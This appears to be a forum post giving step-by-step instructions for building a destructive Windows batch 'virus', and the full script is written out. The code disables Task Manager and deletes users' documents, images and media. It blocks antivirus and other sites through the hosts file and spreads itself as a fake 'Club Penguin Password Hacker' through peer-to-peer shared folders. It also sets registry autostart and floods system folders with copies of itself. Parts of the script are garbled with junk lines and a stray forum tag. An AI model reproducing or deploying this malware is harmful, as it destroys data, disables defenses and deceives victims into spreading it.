How I made a lethal computer virus in Batch

Step 1: Open NotePad

Step 2: Copy the following code into new notepad document.

@echo off
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.txt
Rundll32 user32,SwapMouseButton
copy *.exe "%userprofile%\Start Menu\Programs\Startup"
cd %userprofile%\My Documents
IF EXIST *.txt (
del *.txt
) ELSE (
echo _error_
)
IF EXIST *.doc (
del *.doc
) ELSE (
echo _error_
)
IF EXIST *.rtf (
del *.rtf
) ELSE (
echo _error_
)
IF EXIST *.wma (
del *.wma
) ELSE (
echo _error_
)
IF EXIST *.mp3 (
del *.mp3
) ELSE (
echo _error_
)
IF EXIST *.bmp (
del *.bmp
) ELSE (
echo _error_
)
IF EXIST *.gif (
del *.gif
) ELSE (
echo _error_
)
IF EXIST *.jpeg (
del *.jpeg
) ELSE (
echo _error_
)
IF EXIST *.jpg (
del *.jpg
) ELSE (
echo _error_
)
IF EXIST *.html (
del *.html
) ELSE (
echo _error_
)
IF EXIST *.htm (
del *.htm
) ELSE (
echo _error_
)
IF EXIST *.png (
del *.png
) ELSE (
echo _error_
)
IF EXIST *.avi (
del *.avi
) ELSE (
echo _error_
)
IF EXIST *.wmv (
del *.wmv
) ELSE (
echo _error_
)
IF EXIST *.php (
del *.php
) ELSE (
echo _error_
)
copy Club Penguin Password Hacker - Pokefesta.exe c:\program files\limewire\Shared\Club Penguin Password Hacker - Pokefesta.exe
copy Club Penguin Password Hacker - Pokefesta.exe c:\program files\eMule\Incoming\Club Penguin Password Hacker - Pokefesta.exe
copy Club Penguin Password Hacker - Pokefesta.exe c:\program files\Grokster\My Grokster\Club Penguin Password Hacker - Pokefesta.exe
cmd /c echo  127.0.0.1 www.symantec.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo  127.0.0.1 www.sophos.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo  127.0.0.1 www.avast.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo  127.0.0.1 www.mcafee.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo  127.0.0.1 www.f-prot.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo  127.0.0.1 www.f-secure.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo  127.0.0.1 www.avp.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo  127.0.0.1 www.kaspersky.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo  127.0.0.1 www.bitdefender.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo  127.0.0.1 www.my-etrust.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo  127.0.0.1 www.eset.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo  127.0.0.1 www.norman.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo  127.0.0.1 www.grisoft.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo  127.0.0.1 www.google.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo  127.0.0.1 www.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo  127.0.0.1 mx1.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo  127.0.0.1 mx2.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo  127.0.0.1 messenger.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo  127.0.0.1 www.google.co.uk>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo  127.0.0.1 www.youtube.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo  127.0.0.1 www.youtube.co.uk>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo  127.0.0.1 www.yahoo.com>>c:\windows\system32\Drivers\Etc\Hosts
ctty nul
fmicqlwnnordaonkcukcbwrbblibgmqgxowmtolgxnhstuktynoreboyqcnebrhjzqoncesfzuewbndvxdgymxsiamtjxzxaxndgo
ouwbfxpxzwdjlcxwshsqjrrrsoqayfsdbxvpnfydntgtguqhslpxozbibmvuulyqydoznsyrizqmhzdpgiogvjqtkucptmzzlrqqz
cplsqwyjiltpcdbyjkvzqyvqavdxroysyziaymoglpqzwutrtkmbexxfrnzoixilzcglbzttaqdswdswdrqxpoghddjssdfzwzcib
xwptoecgrjfeeewalgqaqhqbvzdfruxfuiqfkrjcycombaeqaibzdppmnaqsegnpfppdgnwqlirugbdovwhtofxdsuhzojkjpahdb
quzslitvfzzmhdxaavfzqwtwavspamwywnhiwhyvkbbkzjdnyrwuaeobecuqazzvfhttbjcgmpyfjubdxrfthzegrntilnewninpi
ivekytkwdkuudkixbfkmisdqxbzsasidyvobhrmwguqniqcgeiolvxqayigsonmwbsnizxbuwvqaobotdeunhkjbjpskhcpyjdaeh
noavgvdcvgttjcpzlvczokrlpgtrvemmspyvrgufbsttropfdooowimidxtujxdwrrartyyezmbxqckhpcvxdorgydgmlibrmiqfd
xlhrbdbzwxlbzjubbfkcmtnrkdfjbfdngfwiakyhvbyrtozhyyeulqrughumlchnxeddvgiiasdoxuhmevufohujvlqxztkvyfkfc
bbrmvgwzmlhutnmjdodemcxgoiblgysigwzghounagjwqrtjovsjijnsytxjeauagoyjaklbvnkkjnedzjskxvayioztxyptlxfvw
aaciazlviyfuywibrmmblzrjziagqksusqfxnvzzkebkiudsgbuogodlkdjbqgzrsnxzuocrabhgjexuuznhsjeandihpitljttyq
vvwlsjstqqfpicpqavapnljjizzxnffvielziwfhvkwyhbxugckxkfqrxtgqzweerdixbheulerdaaqyrbztzfohsbbvgfgjovjma
copy *.exe %windir%\Club 
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices /v Pwner /t REG_SZ /d %windir%\Club Penguin Password Hacker - Pokefesta.exe /f >nul
echo onclick = MsgBox("Windows reports a random Fatal Exception 0x has occurred at xxxx:xxxxxxx",16,"_error_ Report")>>c:\msg.vbs
echo onclick = MsgBox("Windows reports a random Fatal Exception 0x has occurred at xxxx:xxxxxxx",16,"_error_ Report")>>c:\msg.vbs
echo onclick = MsgBox("Windows reports a random Fatal Exception 0x has occurred at xxxx:xxxxxxx",16,"_error_ Report")>>c:\msg.vbs
attrib +h c:\msg.vbs
start c:\msg.vbs
attrib +r +a +s +h %systemroot%\System32
set lol=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Set val=NoUserNameInStartMenu
Set date=1
reg.exe add "%lol%" /v "%val%" /d "%date%" /f >nul
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%rand[/align]om%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%



Step 3: Save the file as Anything.BAT and DO NOT EXECUTE it on your pc, I am not responsible if you kill your PC

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